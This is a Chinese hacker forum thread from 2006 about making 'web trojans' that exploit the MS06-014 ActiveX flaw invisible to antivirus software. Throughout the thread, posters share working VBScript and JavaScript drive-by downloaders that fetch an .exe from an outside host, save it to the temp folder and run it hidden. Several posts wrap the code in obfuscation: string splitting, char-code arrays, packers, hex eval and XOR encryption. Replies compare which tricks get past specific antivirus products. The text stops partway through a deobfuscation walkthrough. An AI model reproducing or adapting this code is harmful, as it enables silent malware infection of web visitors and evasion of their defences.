[原创]MS06014网马的一种变形方法
文章作者：h2k2（_恒 QQ：5454443）信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）
请看原始代码
[code]<script language="VBScript">
on error resume next
dl = "[url]http://www.baidu.com/heng.exe[/url]"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>[/code]
请大家看变形后的代码：
[code]<script language="VBScript">
on error resume next
xx="object"
xxx="classid"
xxxx="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
xxxxx="Microsoft.XMLHTTP"
xxxxxx="GET"
xxxxxxx="Scripting.FileSystemObject"
xxxxxxxx="Shell.Application"
dl = "[url]http://www.baidu.com/heng.exe[/url]"
Set df = document.createElement(xx)
df.setAttribute xxx, xxxx
str=xxxxx
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6=xxxxxx
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject(xxxxxxx,"")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject(xxxxxxxx,"")
Q.ShellExecute fname1,"","","open",0
</script>[/code]
很容易就发现了，我把“”包含的内容都声明成了变量，然后在代码里直接引用变量就可以了。
[code]a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4[/code]
这个还可以变形成这样，
[code] a1="Ado"
a2="db."
a3="Str"
a4="ea"
a5="m"
str1=a1&a2&a3&a4&a5[/code]
发现差别了吗？实际上每个字符都可以这样处理，我懒得整而已呵呵。大家自己举一反三吧。 要变形ho~~~，虫虫比较擅长的说～～^_^～～
看看偶变的形·～
[code]<script language=vbscript>
function rechange(k)
s=Split(k,",")
t=""
For i = 0 To UBound(s)
t=t+Chr(eval(s(i)))
Next
rechange=t
End Function
on error resume next
t="100,108,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,98,97,105,100,117,46,99,111,109,47,104,101,110,103,46,101,120,101,34,13,10,83,101,116,32,100,102,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,13,10,100,102,46,115,101,116,65,116,116,114,105,98,117,116,101,32,34,99,108,97,115,115,105,100,34,44,32,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,13,10,115,116,114,61,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,13,10,83,101,116,32,120,32,61,32,100,102,46,67,114,101,97,116,101,79,98,106,101,99,116,40,115,116,114,44,34,34,41,13,10,97,49,61,34,65,100,111,34,13,10,97,50,61,34,100,98,46,34,13,10,97,51,61,34,83,116,114,34,13,10,97,52,61,34,101,97,109,34,13,10,115,116,114,49,61,97,49,38,97,50,38,97,51,38,97,52,13,10,115,116,114,53,61,115,116,114,49,13,10,115,101,116,32,83,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,115,116,114,53,44,34,34,41,13,10,83,46,116,121,112,101,32,61,32,49,13,10,115,116,114,54,61,34,71,69,84,34,13,10,120,46,79,112,101,110,32,115,116,114,54,44,32,100,108,44,32,70,97,108,115,101,13,10,120,46,83,101,110,100,13,10,102,110,97,109,101,49,61,34,103,48,108,100,46,99,111,109,34,13,10,115,101,116,32,70,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,44,34,34,41,13,10,115,101,116,32,116,109,112,32,61,32,70,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,13,10,102,110,97,109,101,49,61,32,70,46,66,117,105,108,100,80,97,116,104,40,116,109,112,44,102,110,97,109,101,49,41,13,10,83,46,111,112,101,110,13,10,83,46,119,114,105,116,101,32,120,46,114,101,115,112,111,110,115,101,66,111,100,121,13,10,83,46,115,97,118,101,116,111,102,105,108,101,32,102,110,97,109,101,49,44,50,13,10,83,46,99,108,111,115,101,13,10,115,101,116,32,81,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,13,10,81,46,83,104,101,108,108,69,120,101,99,117,116,101,32,102,110,97,109,101,49,44,34,34,44,34,34,44,34,111,112,101,110,34,44,48"
execute(rechange(t))
</script>[/code]
哈哈～～～
那个小工具放在我刚建的小家咯～ [url]http://hi.baidu.com/anuiz[/url]
就是懒的去修改那个工具，有中文的时候会出点小问题，把工具里的 asc,chr 改成 ascw,chrw就可以了～
报告完毕。呵呵 [s:37]
欢迎大家批评指教·～～ 变形多种多样，眼花了乱啊。现在被杀真是个问题。 虫虫的方法应该算是加密吧~~
网马免杀，我一直都比较追求不加密，直接改代码就OK，可是有时候好难处理，唉。 纯加密的话会被杀毒软件的文件流检测查到
我在测试的时候，纯加密就遭到KV的查杀。
我换了“Shell.Application”调用组建就不被杀了 不要纯加密哦,我那个工具不是一个成品,你变形后生成的代码如果被杀再稍微一处理就可以了.
这个东西跟我以前发的那个js变形免杀是一样的. 加密的好处在于可以过很多杀毒,但是手工修改就很难做到这点.
我现在基本上只看过不过卡巴,过了卡巴别的就可以不用看了. 用了虫虫的VBS加密器还真不错。俺叫杀虫剂专杀虫虫的。。。 [s:70] [s:45] [s:35] [quote][b]这里是引用第[/b][color=#ff0000][6 楼][/color][b]的[color=#000066]虫虫[/color]于[/b]2006-08-03 08:17[b]发表的：[/b]
加密的好处在于可以过很多杀毒,但是手工修改就很难做到这点.
我现在基本上只看过不过卡巴,过了卡巴别的就可以不用看了.[/quote]
对于网马来说，喀吧好过，我发现咖啡难过。 [quote][b]这里是引用第[/b][color=#ff0000][4 楼][/color][b]的[color=#000066]优格[/color]于[/b]2006-08-03 00:03[b]发表的：[/b]
纯加密的话会被杀毒软件的文件流检测查到
我在测试的时候，纯加密就遭到KV的查杀。
我换了“Shell.Application”调用组建就不被杀了[/quote]
具体说说怎么做的~~ <script language="VBScript">
on error resume next
dl = [url]http://www.163vc.com[/url]
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
我死活就是不成功啊.老大们帮看看好吗 其实 "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
改成 "clsid:B"&"D96C55"&"6-65A"&"3-11"&"D0-9"&"83A-"&"00C0"&"4FC"&"29E36" 都可以，也可以过一部分杀毒，但是卡巴就是不放你。
还有变量名也可以改啊，只要别把程序改错了就可以。但是过几天杀毒更新后又可能失败了。
我上面做那个变形好处就在关键字少，修改起来容易。 －－－这是在自卖自夸了，呵呵。
后来觉得，这都是些很肤浅的东西，哎。原来自己也一直这么肤浅，还引以为傲……迷茫～ 先转成JS
[code]document.writeln("<html>");
document.writeln(" <script language=\"VBScript\">");
document.writeln(" on error resume next");
document.writeln(" dl = \"http:\/\/www.baidu.com\/go.exe\"");
document.writeln(" Set df = document.createElement(\"object\")");
document.writeln(" df.setAttribute \"classid\", \"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\"");
document.writeln(" str=\"Microsoft.XMLHTTP\"");
document.writeln(" Set x = df.CreateObject(str,\"\")");
document.writeln(" a1=\"Ado\"");
document.writeln(" a2=\"db.\"");
document.writeln(" a3=\"Str\"");
document.writeln(" a4=\"eam\"");
document.writeln(" str1=a1&a2&a3&a4");
document.writeln(" str5=str1");
document.writeln(" set S = df.createobject(str5,\"\")");
document.writeln(" S.type = 1");
document.writeln(" str6=\"GET\"");
document.writeln(" x.Open str6, dl, False");
document.writeln(" x.Send");
document.writeln(" fname1=\"Ravwon.exe\"");
document.writeln(" set F = df.createobject(\"Scripting.FileSystemObject\",\"\")");
document.writeln(" set tmp = F.GetSpecialFolder(2) ");
document.writeln(" fname1= F.BuildPath(tmp,fname1)");
document.writeln(" S.open");
document.writeln(" S.write x.responseBody");
document.writeln(" S.savetofile fname1,2");
document.writeln(" S.close");
document.writeln(" set Q = df.createobject(\"Shell.Application\",\"\")");
document.writeln(" Q.ShellExecute fname1,\"\",\"\",\"open\",0");
document.writeln(" <\/script>");
document.writeln(" <head>");
document.writeln(" <title>fuck all hacker<\/title>");
document.writeln(" <\/head><body>");
document.writeln(" <center><\/center>");
document.writeln(" <\/body><\/html>")[/code]
再变形
[code]
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.4("<p>");3.4(" <m L=\\"M\\">");3.4(" N I J K");3.4(" 9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4(" f 5 = 3.R(\\"T\\")");3.4(" 5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4(" g=\\"D.E\\"");3.4(" f x = 5.A(g,\\"\\")");3.4(" d=\\"C\\"");3.4(" e=\\"X.\\"");3.4(" j=\\"1b\\"");3.4(" k=\\"1c\\"");3.4(" h=d&e&j&k");3.4(" i=h");3.4(" 7 S = 5.8(i,\\"\\")");3.4(" S.1e = 1");3.4(" a=\\"18\\"");3.4(" x.11 a, 9, Y");3.4(" x.Z");3.4(" 6=\\"16.c\\"");3.4(" 7 F = 5.8(\\"15.13\\",\\"\\")");3.4(" 7 b = F.14(2) ");3.4(" 6= F.10(b,6)");3.4(" S.n");3.4(" S.1f x.19");3.4(" S.17 6,2");3.4(" S.1a");3.4(" 7 Q = 5.8(\\"G.B\\",\\"\\")");3.4(" Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4(" <\\/m>");3.4(" <o>");3.4(" <l>1g 1h 1d<\\/l>");3.4(" <\\/o><q>");3.4(" <r><\\/r>");3.4(" <\\/q><\\/p>")',62,80,'|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all'.split('|'),0,{}))
[/code]
过不了内存。。。。郁闷呀！！ 1.把每个变量名拆分合并加入垃圾字符 如 [quote]set Q = evil.createobject("Shel"&QQ30039780&RAyH4c&"l.Appl"&"ication","")[/quote]
2.创建组件的变量顺序也可以乱序.
3.再HTML转JS加密~保证全免杀而且网马就一个JS文件，多方便。
4.干脆重写脚本，参照冰狐以前几个经典的网马脚本. 虫虫,我用你的工具加密后,打开那个网马,IE状态栏会出现"已完毕,但是网页有错误"这是为什么啊 文章作者：瑞星文件不杀，为什么打开网马就提示有病毒呢，请问如何修改？
图片发不起，瑞星这样提示的
病毒名称：Trojan.DL.VBS.Agent.j
进程名称："C:\Program Files\Internet Explorer\iexplore.exe"
文件路径：C:\DOCUME~1\宇\LOCALS~1\Temp\43244250456.tmp <SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=iunm> !=tdsjqu!mbohvbhf>#WCTdsjqu#> !!!!po!fssps!sftvnf!ofy","u !!!!em!>!#iuuq;00xxx/bvl/dp/ls0jodmvef0ifmq0joefy/fyf# !!","!!Tfu!eg!>!epdvnfou/dsfbufFmfnfou)#pckfdu#* !!!!eg/tfuBuusjc","vuf!#dmbttje#-!#dmtje;CE:7D667.76B4.22E1.:94B.11D15GD3:F47# ","!!!!tus>#Njdsptpgu/YNMIUUQ# !!!!Tfu!y!>!eg/DsfbufPckfdu)tus-","##* !!!!b2>#Bep# !!!!b3>#ec/# !!!!b4>#Tus# !!!!b5>#fbn# ","!!!!tus2>b2'b3'b4'b5 !!!!tus6>tus2 !!!!tfu!T!>!eg/dsfbufpck","fdu)tus6-##* !!!!T/uzqf!>!2 !!!!tus7>#HFU# !!!!y/Pqfo!tus7","-!em-!Gbmtf !!!!y/Tfoe !!!!gobnf2>#h1me/dpn# !!!!tfu!G!>!e","g/dsfbufpckfdu)#Tdsjqujoh/GjmfTztufnPckfdu#-##* !!!!tfu!unq!",">!G/HfuTqfdjbmGpmefs)3*! !!!!gobnf2>!G/CvjmeQbui)unq-gobnf2*"," !!!!T/pqfo !!!!T/xsjuf!y/sftqpotfCpez !!!!T/tbwfupgjmf!go","bnf2-3 !!!!T/dmptf !!!!tfu!R!>!eg/dsfbufpckfdu)#Tifmm/Bqqmj","dbujpo#-##* !!!!R/TifmmFyfdvuf!gobnf2-##-##-#pqfo#-1 !!!!=0","tdsjqu> !!!!=ifbe> !!!!=ujumf>Pi-nz!hpe!!!Hpmetvo[bu^9","5934825=0ujumf> !!!!=0ifbe>=cpez> =dfoufs>Zpv!EP!ju=","0dfoufs> !!!!=0cpez>=0iunm> "];
function psw(st){
var varS;
varS="";
var i;
for(var a=0;a<st.length;a++){
i = st.charCodeAt(a);
if (i==1)
varS=varS+String.fromCharCode('"'.charCodeAt()-1);
else if (i==2) {
a++;
varS+=String.fromCharCode(st.charCodeAt(a));
}
else
varS+=String.fromCharCode(i-1);
}
return varS;
};
var num=17;
function S(){
for(i=0;i<num;i++)
document.write(psw(HtmlStrings[i]));}
S();
// -->
</SCRIPT> 文章作者：瑞星文件不杀，为什么打开网马就提示有病毒呢，请问如何修改？
图片发不起，瑞星这样提示的
病毒名称：Trojan.DL.VBS.Agent.j
进程名称："C:\Program Files\Internet Explorer\iexplore.exe"
文件路径：C:\DOCUME~1\宇\LOCALS~1\Temp\43244250456.tmp
不是木马被杀！木马和网马都是免杀，但是打开链接瑞星就提示有毒。。楼上说的加垃圾代码，垃圾代码怎么写呀？要加是加在哪？ 改变一下变量名和调用的组件名,插分开就可以了...
卡巴06的内杀是牛了一点,不过打乱一下代码的顺序就可以了... 麦卡啡只杀 S.savetofile 这句，改下就行了，其它未知 问下。一般网马中都这样的UNICODE%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243。这样的怎么解密呢 这种方法不错,但是变形方法多种多样,转个思路或许能创造出更好的方法! set Q = df.createobject("Shell.Application","") 这句或者<script language="VBScript"> 这句被杀，该怎么变形哦？ [code]<SCRIPT LANGUAGE="JavaScript">
<!--
function decrypt(str, pwd) {
if(str == null || str.length < 8) {
alert("A salt value could not be extracted from the encrypted message because it's length is too short. The message cannot be decrypted.");
return;
}
if(pwd == null || pwd.length <= 0) {
alert("Please enter a password with which to decrypt the message.");
return;
}
var prand = "";
for(var i=0; i<pwd.length; i++) {
prand += pwd.charCodeAt(i).toString();
}
var sPos = Math.floor(prand.length / 5);
var mult = parseInt(prand.charAt(sPos) + prand.charAt(sPos*2) + prand.charAt(sPos*3) + prand.charAt(sPos*4) + prand.charAt(sPos*5));
var incr = Math.round(pwd.length / 2);
var modu = Math.pow(2, 31) - 1;
var salt = parseInt(str.substring(str.length - 8, str.length), 16);
str = str.substring(0, str.length - 8);
prand += salt;
while(prand.length > 10) {
prand = (parseInt(prand.substring(0, 10)) + parseInt(prand.substring(10, prand.length))).toString();
}
prand = (mult * prand + incr) % modu;
var enc_chr = "";
var enc_str = "";
for(var i=0; i<str.length; i+=2) {
enc_chr = parseInt(parseInt(str.substring(i, i+2), 16) ^ Math.floor((prand / modu) * 255));
enc_str += String.fromCharCode(enc_chr);
prand = (mult * prand + incr) % modu;
}
return enc_str;
}
dl = "[url]http://www2.sjzue.edu.cn/ray.exe[/url]"
var hk="f8d2bf5d24a25ab4f6372cb3b0c34c2a5f73092823fe90b434389704889656e0953ba142ceeb798520db5111b312dc78bf26d6eef7d59aea5054c72d31678733005adf0da15829c4d22d1b3be6e148678a44137f88b051fd8a7931c4b3d87181ec529d457b06db1d03af4e448801e35b1a0f77771bb1f639fa3b9d2d1f8f904dc12fe9875573a55c0b0394c9d310f073bf8a1252f7d66d339c43fec3a34a250eff80e11490abe1311596e60bac42ba238b6acd3758b1178b0d6f025e256df2e52f3192b07a319b36b81d7429765ec24852996170ad13779e26ac88a65beba4d1c85023463e3a08fa7104dc694d0a656362eaaca4a1aa73ec4cbc4286c16a1e523797fa15a4c4f37b93c7909fa708d059e2532dd4d084dc7e10ef211e1ca9ecf692ca62245e4e6ca91cb3cdb473b3f3666be856226fe05aeafec03e7a04f56c6bd6a850df34a65824360f92502ad414281e03de33dc5cc6b5f32f704557dbf2275b0b4c7c597f6aeb8beb0fb43788224e92fcf5c7b5b0c93b0682a29610943d520f8200efa88dc79b6a31d56010a9bfa7e68730479eade14f626aa444ef66d995911a182d81e09614dd09de10c5e068c04213f5eedd692647da57ea7b7ace681bcaa4e7feed3a458f28c114e999444c2393a83e249a73392499f715f8c039e3a3291ae16a14f220b4d41808c852a4a5dbdee2cdaa09d07d2d0ffd496a5367975f401b9332074795cacad48f85a1373ba83d8409f9dadab877cd7d3b45b62a00e2b74b9b39c29898c8b94813cbeccac768bd1c9ae13bce6d9d52496e3b78f5d5a0e20ce31f6d3f3acf50307c4dddb0849287919b35a2fc6f8a3e37f46e0d1a91dd25dc4e67ff8b04a58e05fee0af9200a0e855ae8f3079fc10d24fce28674edc2bfab45f1a2e1850d28df06d66bb6cc39f567a5afcbf14b79044445cb0468ceb458dbab96493858381cd8517959b4cb05f373a3b03db66fa"
document.write(decrypt(hk,'3800'))
//-->
</SCRIPT>
[/code]
强加密了。嘎嘎。 [s:39] 变量拆分 局部加密 再变量乱序
~HTML TO JS
~最好JS加密
绝对不杀 卖咖啡和一些杀软的那种脚本运行提示除外。 [quote][b]这里是引用第[/b][color=#ff0000][29 楼][/color][b]的[color=#000066]茄子宝[/color]于[/b]2006-08-25 11:59[b]发表的：[/b]
变量拆分 局部加密 再变量乱序
~HTML TO JS
~最好JS加密
.......[/quote]
[s:39]
JS加密的确还不错 上面的这段代码在IE和TT中都会弹出一个对话框出来.这个是不是引用了xmlhttp组件的缘故.在火狐的浏览器中就弹不出来.请问下怎么在IE的浏览器也不让他弹出来呢 27楼能免杀。不过会提醒activeX操作，允许activeX操作也没有反映。 [s:82] 33楼能看到弹出的对话框？？？ <script language="VBScript">
这个过不了瑞星内存，怎么改好？ 好像很难过瑞星内存！ <SCRIPT language=javascript>
eval("\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\x22\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3E\x0D\x0A\x6F\x6E\x20\x65\x72\x72\x6F\x72\x20\x72\x65\x73\x75\x6D\x65\x20\x6E\x65\x78\x74\x0D\x0A\x64\x6C\x20\x3D\x20\x22\x68\x74\x74\x70\x3A\x2F\x2F\x64\x69\x65\x67\x6F\x2E\x78\x69\x63\x70\x2E\x6E\x65\x74\x2F\x75\x70\x64\x61\x74\x65\x2E\x65\x78\x65\x22\x0D\x0A\x53\x65\x74\x20\x64\x66\x20\x3D\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x28\x22\x6F\x62\x6A\x65\x63\x74\x22\x29\x0D\x0A\x64\x66\x2E\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x20\x22\x63\x6C\x61\x73\x73\x69\x64\x22\x2C\x20\x22\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x0D\x0A\x73\x74\x72\x3D\x22\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x0D\x0A\x53\x65\x74\x20\x78\x20\x3D\x20\x64\x66\x2E\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x28\x73\x74\x72\x2C\x22\x22\x29\x0D\x0A\x61\x31\x3D\x22\x41\x64\x6F\x22\x0D\x0A\x61\x32\x3D\x22\x64\x62\x2E\x22\x0D\x0A\x61\x33\x3D\x22\x53\x74\x72\x22\x0D\x0A\x61\x34\x3D\x22\x65\x61\x6D\x22\x0D\x0A\x73\x74\x72\x31\x3D\x61\x31\x26\x61\x32\x26\x61\x33\x26\x61\x34\x0D\x0A\x73\x74\x72\x35\x3D\x73\x74\x72\x31\x0D\x0A\x73\x65\x74\x20\x53\x20\x3D\x20\x64\x66\x2E\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x73\x74\x72\x35\x2C\x22\x22\x29\x0D\x0A\x53\x2E\x74\x79\x70\x65\x20\x3D\x20\x31\x0D\x0A\x73\x74\x72\x36\x3D\x22\x47\x45\x54\x22\x0D\x0A\x78\x2E\x4F\x70\x65\x6E\x20\x73\x74\x72\x36\x2C\x20\x64\x6C\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x2E\x53\x65\x6E\x64\x0D\x0A\x66\x6E\x61\x6D\x65\x31\x3D\x22\x67\x30\x6C\x64\x2E\x63\x6F\x6D\x22\x0D\x0A\x73\x65\x74\x20\x46\x20\x3D\x20\x64\x66\x2E\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74\x22\x2C\x22\x22\x29\x0D\x0A\x73\x65\x74\x20\x74\x6D\x70\x20\x3D\x20\x46\x2E\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72\x28\x32\x29\x20\x0D\x0A\x66\x6E\x61\x6D\x65\x31\x3D\x20\x46\x2E\x42\x75\x69\x6C\x64\x50\x61\x74\x68\x28\x74\x6D\x70\x2C\x66\x6E\x61\x6D\x65\x31\x29\x0D\x0A\x53\x2E\x6F\x70\x65\x6E\x0D\x0A\x53\x2E\x77\x72\x69\x74\x65\x20\x78\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64\x79\x0D\x0A\x53\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x66\x6E\x61\x6D\x65\x31\x2C\x32\x0D\x0A\x53\x2E\x63\x6C\x6F\x73\x65\x0D\x0A\x73\x65\x74\x20\x51\x20\x3D\x20\x64\x66\x2E\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x22\x2C\x22\x22\x29\x0D\x0A\x51\x2E\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x20\x66\x6E\x61\x6D\x65\x31\x2C\x22\x22\x2C\x22\x22\x2C\x22\x6F\x70\x65\x6E\x22\x2C\x30\x0D\x0A\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x29")
</SCRIPT>
偶是这样滴…… [quote][b]这里是引用第[/b][color=#ff0000][12 楼][/color][b]的[color=#000066]7jdg[/color]于[/b]2006-08-04 20:10[b]发表的：[/b]
先转成JS
[ c ode]document.writeln("<html>");
document.writeln(" <script language="VBScript">");
document.writeln(" on error resume next");
document.writeln(" dl = "[url]http://www.baidu.com/go.exe[/url]"");
.......[/quote]
这里做了一个简单的分析
首先要说明的是这个加密作者的js功底是很扎实的，应该是一个前辈级的人物，非常非常的佩服作者。
生成器应该有现成的，但我不知道是哪个，呵呵
首先是一个总体的分析，然后给一个刚写好的演示代码来说明整个解密过程。
源代码是这样的
[code]
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.4("<p>");3.4(" <m L=\\"M\\">");3.4(" N I J K");3.4(" 9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4(" f 5 = 3.R(\\"T\\")");3.4(" 5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4(" g=\\"D.E\\"");3.4(" f x = 5.A(g,\\"\\")");3.4(" d=\\"C\\"");3.4(" e=\\"X.\\"");3.4(" j=\\"1b\\"");3.4(" k=\\"1c\\"");3.4(" h=d&e&j&k");3.4(" i=h");3.4(" 7 S = 5.8(i,\\"\\")");3.4(" S.1e = 1");3.4(" a=\\"18\\"");3.4(" x.11 a, 9, Y");3.4(" x.Z");3.4(" 6=\\"16.c\\"");3.4(" 7 F = 5.8(\\"15.13\\",\\"\\")");3.4(" 7 b = F.14(2) ");3.4(" 6= F.10(b,6)");3.4(" S.n");3.4(" S.1f x.19");3.4(" S.17 6,2");3.4(" S.1a");3.4(" 7 Q = 5.8(\\"G.B\\",\\"\\")");3.4(" Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4(" <\\/m>");3.4(" <o>");3.4(" <l>1g 1h 1d<\\/l>");3.4(" <\\/o><q>");3.4(" <r><\\/r>");3.4(" <\\/q><\\/p>")',62,80,'|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all'.split('|'),0,{}))
[/code]
再对想分析这个代码的读者罗嗦下就是：作者用了很多的简写和“花指令”，大家分析的时候要仔细“品”一下，呵呵
首先可以看到代码的结构为 eval( a_function( par1 , par2.. ) );
就是用一个“解密”函数 生成正确的代码，然后用eval激活执行。
这个解密函数拿出来就是：
[code]
function decode(p,a,c,k,e,d)
{e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){
while(c--)d[e(c)]=k[c]||e(c);
k=[function(e){return d[e]}];
e=function(){return'\\w+'};
c=1;};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p;}
[/code]
实现的功能就是 生成一个替换表，将密文中的对应字母替换为一个对应的单词。
下面是我给出的演示代码，因为里面已经有很多注释了，我也不再多说。
将代码复制并保存为htm文件直接打开就能看到演示。
推荐用一个带有代码颜色区分显示功能的编辑器【EditPlus或UEdit等】查看下面的代码。
[code]
<body style="font-size:12px;">
这里演示一下替换关系。<br>
以下为原始的字串<br>
<textarea cols=120 rows=8>
3.4("<p>");3.4(" <m L=\\"M\\">");3.4(" N I J K");3.4(" 9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4(" f 5 = 3.R(\\"T\\")");3.4(" 5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4(" g=\\"D.E\\"");3.4(" f x = 5.A(g,\\"\\")");3.4(" d=\\"C\\"");3.4(" e=\\"X.\\"");3.4(" j=\\"1b\\"");3.4(" k=\\"1c\\"");3.4(" h=d&e&j&k");3.4(" i=h");3.4(" 7 S = 5.8(i,\\"\\")");3.4(" S.1e = 1");3.4(" a=\\"18\\"");3.4(" x.11 a, 9, Y");3.4(" x.Z");3.4(" 6=\\"16.c\\"");3.4(" 7 F = 5.8(\\"15.13\\",\\"\\")");3.4(" 7 b = F.14(2) ");3.4(" 6= F.10(b,6)");3.4(" S.n");3.4(" S.1f x.19");3.4(" S.17 6,2");3.4(" S.1a");3.4(" 7 Q = 5.8(\\"G.B\\",\\"\\")");3.4(" Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4(" <\\/m>");3.4(" <o>");3.4(" <l>1g 1h 